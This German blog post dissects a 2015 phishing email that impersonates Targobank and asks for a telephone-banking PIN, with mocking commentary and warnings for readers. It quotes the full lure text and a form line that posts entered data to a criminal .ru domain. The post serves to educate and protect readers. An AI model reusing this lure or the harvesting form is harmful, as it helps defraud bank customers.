Unser täglich Spam

Aus dem Internet frisch auf den Tisch. Köstlich und aromatisch.


Targobank – Datenabgleich

Samstag, 4. Juli 2015, 14:42 Uhr

Aber ich bin da doch gar nicht Kunde. 😉

Absender: Targobank <direkt (at) targobank (punkt) de>

Dieser Absender ist gefälscht. (Jeder Absender in einer Spam ist gefälscht.) Diese E-Mail kommt nicht von der Targobank.

Screenshot der Darstellung der HTML-formatierten Spam in der Mailsoftware

Hui, Design!

Ich halte diese Phishing-Spam für gefährlich, weil sie überdurchschnittlich gut gemacht ist. Wer Kunde bei der Targobank ist und darauf reingefallen ist, sollte sich sofort mit der Bank in Verbindung setzen, um den Schaden zu minimieren.

Sehr geehrte Damen und Herren,

Genau mein Name! :mrgreen:

Eine richtige Bank würde ihre Kunden natürlich mit Namen ansprechen, und weil gar nicht so wenige Kunden mehrere Konten haben, würde sie auch noch erwähnen, auf welches Konto sich die Mail bezieht.

Ein Spammer kann im Allgemeinen – wenn er nicht aus einem Hack oder anderen Quellen eine Zuordnung von Mailadressen zu Bankdaten hat – nicht wissen, welche Kontonummer seine Empfänger haben. Ein vorsichtiger Umgang mit Bankdaten und die Verwendung einer eigenen E-Mail-Adresse ausschließlich für die Kommunikation mit der Bank sind ein wichtiger und sehr wirksamer Schutz gegen Phishing.

unser System hat festgestellt das Ihr Telefon-Banking PIN aus Sicherheitsgründen geändert werden muss.

Da bin ich aber froh, dass „euer System“ nicht festgestellt hat, dass ich ohne Grund 20.000 Øre berappen muss! :mrgreen:

Bitte nutzen das unten angefügte Formular um die Änderung Ihres Telefon-Banking PIN kostenfrei zu ändern.

Das „unten angefügte Formular“ ist eine an die Spam angehängte HTML-Datei, die im Browser so aussehen würde¹:

Screenshot der Darstellung des Anhangs der Targobank-Phishing-Mail in einem Webbrowser

Das Wichtigste daran ist, wo die eingegebenen Daten hingehen. Diese Frage beantwortet sich leicht durch einen Blick in den Quelltext der HTML-Datei:

<form [...] method="POST" action="http://a.dbbanking.ru/de/targo/login/targo.php"  >

Die Daten gehen also nicht zum Server der Targobank, sondern zum Server unter der von Kriminellen kontrollierten, russischen Domain a (punkt) dbbanking (punkt) ru. Das ist auch der Grund, weshalb man der „Targobank“ so viele Dinge sagen soll, die die richtige Targobank längst kennt, wenn man dort Kunde ist, zum Beispiel die eigene Kontonummer. Allein die hier angegebenen Daten reichen für die Übernahme des Kontos durch die Kriminellen, und ich bin mir sicher, dass nach dem Absenden noch weitere Daten für eine angebliche „Sicherheitsprüfung“ abgefragt werden – sehr beliebt sind wegen ihrer „vielseitigen kriminellen Verwendbarkeit“ Kreditkartendaten.

(Hinweis: Andernfalls belasten wir Ihr Konto mit 18,99€ und fordern die Änderung schriftlich über den Postweg bei Ihnen an.)

Damit ein Mensch auch so wirklich doof wird, darauf reinzufallen, wird er mit technokratischen Entgelt-Forderungen gefügig gemacht – so frei nach dem Motto: „Wir haben ein Sicherheitsproblem, zahlen sie bitte grundlos zwanzig Euro. Die Gebührentabelle, nach der wir dieses Geld erheben, haben wir uns einfach aus dem Hintern gezogen“.

Es handelt sich übrigens um langsame Verbrecher:

Ihren Telefon-Banking PIN können sie hier, oder wie folgt ändern:

1. Öffnen Sie die Datei im Anhang Ihrer Email und wählen Sie „öffnen mit“ aus.
2. Füllen Sie alle vorgesehenden Felder aus und klicken dann auf „Daten absenden“..
3. Ihr Telefon-Banking PIN aktiviert sich nach 5-7 Werktagen.

Die brauchen fast eine Woche, bis sie alles aus dem Konto rausgeholt haben, was sie rausholen wollen.

Für weitere Fragen ist unser Online Support unter: direkt (strich) pin (at) targobank (punkt) de 24Std. für Sie erreichbar.

Was, die sind nur 24 Stunden erreichbar? Und wenn die Frage einen Tag später kommt, hat man eben Pech gehabt? Tja, so etwas kommt raus, wenn die Phisher in Sprachen schreiben, deren Subtilitäten sie nicht verstehen. Ein Autor, der Deutsch kann, hätte „rund um die Uhr“ geschrieben und nicht das irreführende Ergebnis aus einer Computerübersetzung verwendet.

Es ist wieder einmal wie so oft bei den Phishing-Spams: Wenn der eigentliche Phishing-Kram formuliert ist, werden die Spammer oft ein wenig nachlässig und ihnen passieren kleine und zuweilen auch große und sehr peinliche Fehler. Wer sich nicht in Panik versetzen lässt (Sicherheitsmaßnahme der Bank, das wird teuer, wenn ich nicht reagiere) und gründlich liest, wird beinahe jede Phishing-Spam an solchen Details erkennen.

Targobank AG & Co. KG
Kasernenstr. 10
40213 Düsseldorf

Ihre Targobank

Wer es jetzt immer noch nicht bemerkt hat: Die Targobank hat mit dieser Spam nichts zu tun. Es ist eine Mail von Verbrechern, die ihre kriminellen Geschäfte mit fremden Konten machen wollen und die das Geld anderer Leute bei Koks und Nutten verprassen wollen.

Beratungstermin kostenlos unter:
info (at) targobank (punkt) de

Copyright © 2013 TARGOBANK

Oh, eine Mail von 2013 diente den Spammern als Vorlage… 😉

¹Ich rate strikt davon ab, Anhänge aus Spams zu öffnen, wenn man nicht weiß, wie man ein gut gesichertes System herstellt. Ein Virenscanner und eine „personal firewall“ machen kein gut gesichertes System. Das bisschen befriedigte Neugierde ist den möglichen Ärger niemals wert.

Diese Spam ist ein Zustecksel meines Lesers M.S.

Ein Kommentar für Targobank – Datenabgleich

  1. Herr B. sagt:

    Richtiger Zeichensatz, vollständige Sätze … Die Spam-Mails von der Aufmachung her werden wohl langsam, aber sicher „besser“. Das finde ich erschreckend. Leidtragende davon, und damit die Haupt-Zielgruppe, werden vermutlich Senioren der Gruppe 60+ sein. die ja heutzutage gerne auch am Online-Leben teilhaben möchten. Ich mag gar nicht daran denken, was die Zukunft für mich bereithält, wenn auch ich eines Tages mal in diese Altersgruppe vorstosse …

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